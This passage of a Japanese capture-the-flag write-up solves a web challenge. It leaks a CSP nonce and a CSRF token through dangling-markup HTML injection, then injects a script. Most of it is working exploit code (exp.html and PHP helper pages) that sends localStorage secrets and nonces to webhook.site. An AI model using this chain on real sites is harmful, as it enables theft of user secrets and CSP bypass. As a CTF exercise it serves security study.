  req.user = (id && db.cookies[id] && db.cookies[id].username) ? db.cookies[id].username : undefined;
  const csp = (id && db.cookies[id] && db.cookies[id].nonce) ? `script-src 'nonce-${db.cookies[id].nonce}'` : '';
  res.setHeader('Content-Security-Policy', `default-src 'self'; base-uri 'self'; ${csp}`)
  next()
})

// …

app.get('/csp.gif', shouldBeLoggedIn, (req, res) => {
  db.cookies[req.cookies.id].nonce = rand()
  res.setHeader('Content-Type', 'image/gif')
  res.send('OK')
})

// …

app.get('/profile', shouldBeLoggedIn, (req, res) => {
  res.render('profile.ejs', { 
    name: db.users[req.user].name,
    nonce: db.cookies[req.cookies.id].nonce,
  });
})

では、nonceをどうやって盗み出すか。以下に、HTML Injection可能な箇所から、もっとも近いnonceを持つ script 要素までを抜き出した。よく見ると、属性値を " で囲んでいたり、囲んでいなかったり、" でなく ' を使っていたりとちぐはぐになっていることがわかる。

      <h1>📕 <s>test</s> secured notes 📕</h1>
      <div>
        <form method=POST>
          Wanna change your name?
          <input class=change-name type=text name=name placeholder="🐻 Brown">
          <input type=hidden name=csrf id=_csrf>
          <input type=submit value=Submit>
          <p class=red id=error></p>
          <p class=green id=message></p>
        </form>
      </div>
    </div>

    <div class=main>
      Can you tell me a secret? It will securely kept in "localStorage" of this page.
      <textarea id=secret></textarea>
      <input id=submit_storage type=submit value=Store>
      <script nonce=5411ab8642f0f2a4edef6490427d57c7dd5c82a5 type='application/javascript'>

もし <img src='//example.com?a= のような名前にするとどうなるだろうか。試しに変えてみると、script 要素の type= まで、つまりnonceも含んだHTMLの一部が img 要素で読み込まれる画像のクエリパラメータの一部として解釈されていることがわかる。こういった攻撃をDangling Markup Injectionと呼ぶわけだけれども、Chromeなどでは対策が実装されている。

ところで、この問題で使われているPuppeteerを使ったbotは、次のようにFirefoxを使って通報されたWebページの巡回を行っていることがわかる。以前私が作問した問題で、FirefoxがDangling Markup Injectionの対策を実装していなかったために非想定の解法で解かれたという記憶が蘇る。現在はどうだろうか。

    const browser = await Puppeteer.launch({
        product: "firefox",
        headless: true,
        ignoreHTTPSErrors: true,
    });

競技時間中はここまで考えたところでつまずいた。CSPでは Content-Security-Policy: default-src 'self'; base-uri 'self'; script-src 'nonce-…' という制限の中で、どうやって img 要素以外で外部にnonceを持ち出せるのかな~と考えていたのだけれども、眠かったからか <meta http-equiv="refresh" content="…"> という方法が思い浮かばなかった。ということで、次のようにしてCSRFトークンとnonceは盗み出せる。

<form action="https://35.200.57.143:11004/profile" method="POST" id="form">
    <input type=text id=name name=name>
    <input type=text id=_csrf name=csrf>
    <input type=submit>
</form>
<script>
Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"});
</script>
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<script>
const name = document.getElementById('name');
name.value = `<meta http-equiv=refresh content='0;https://webhook.site/…?`;
const form = document.getElementById('form');
form.submit();
</script>

このHTMLをホストしているURLを通報する。ちゃんとnonceを盗み出せてますねえ。

あとはnonceが更新されないように、/csp.gif へアクセスさせない方法を考える必要がある。が、これはCSPを見ると base-uri 'self' とあるので、<base href="/hoge/"> のようにして /hoge/csp.gif という存在しないパスへリクエストが飛ぶよう壊してやればよい。

これで準備は整った。次のような順番で攻撃するスクリプトを書く。

  1. <base href="/hoge/"> に名前を変えて、nonceを固定する(fix-nonce.php)
  2. <base href="/hoge/"><meta http-equiv=refresh content='0;https://(略)/log-nonce.php に名前を変えて、nonceを盗み出す(steal-nonce.php, log-nonce.php)
  3. <base href="/hoge/"><script nonce=(nonce)>location.href="https://webhook.site/…?"+localStorage.secret</script> に名前を変えて、フラグを盗み出す(inject-script.php)

出来上がったスクリプトは次の通り。

exp.html:

<iframe src="fix-nonce.php"></iframe>
<script>
setTimeout(() => {
    const i = document.createElement('iframe');
    i.src = 'steal-nonce.php';
    document.body.appendChild(i);
}, 1000);

setTimeout(() => {
    const i = document.createElement('iframe');
    i.src = 'inject-script.php';
    document.body.appendChild(i);
}, 2000);
</script>

fix-nonce.php:

<form action="https://35.200.57.143:11004/profile" method="POST" id="form">
    <input type=text id=name name=name>
    <input type=text id=_csrf name=csrf>
    <input type=submit>
</form>
<script>
Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"});
</script>
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<script>
const name = document.getElementById('name');
name.value = `<base href="/hoge/">`;
const form = document.getElementById('form');
form.submit();
</script>

steal-nonce.php:

<form action="https://35.200.57.143:11004/profile" method="POST" id="form">
    <input type=text id=name name=name>
    <input type=text id=_csrf name=csrf>
    <input type=submit>
</form>
<script>
Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"});
</script>
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<script>
const name = document.getElementById('name');
name.value = `<base href="/hoge/"><meta http-equiv=refresh content='0;https://(略)/log-nonce.php?`;
const form = document.getElementById('form');
form.submit();
</script>

log-nonce.php:

<?php
$q = $_SERVER['QUERY_STRING'];
preg_match('/nonce=([0-9a-f]+)/', $q, $matches);
file_put_contents('nonce.txt', $matches[1]);
echo $matches[1];

inject-script.php:

<form action="https://35.200.57.143:11004/profile" method="POST" id="form">
    <input type=text id=name name=name>
    <input type=text id=_csrf name=csrf>
    <input type=submit>
</form>
<script>
Object.defineProperty(document, 'domain', {get: () => "35.200.57.143"});
</script>
<script src="https://35.200.57.143:11004/getSettings.js"></script>
<script>
const name = document.getElementById('name');
name.value = `<base href="/hoge/"><script nonce=<?= file_get_contents('nonce.txt') ?>>location.href="https://webhook.site/(略)?"+localStorage.secret\x3c/script>`;
const form = document.getElementById('form');
form.submit();
</script>

exp.html を通報すると、次のようにフラグが飛んできた。

LINECTF{72fdb8db303404e8388062c7233f248e}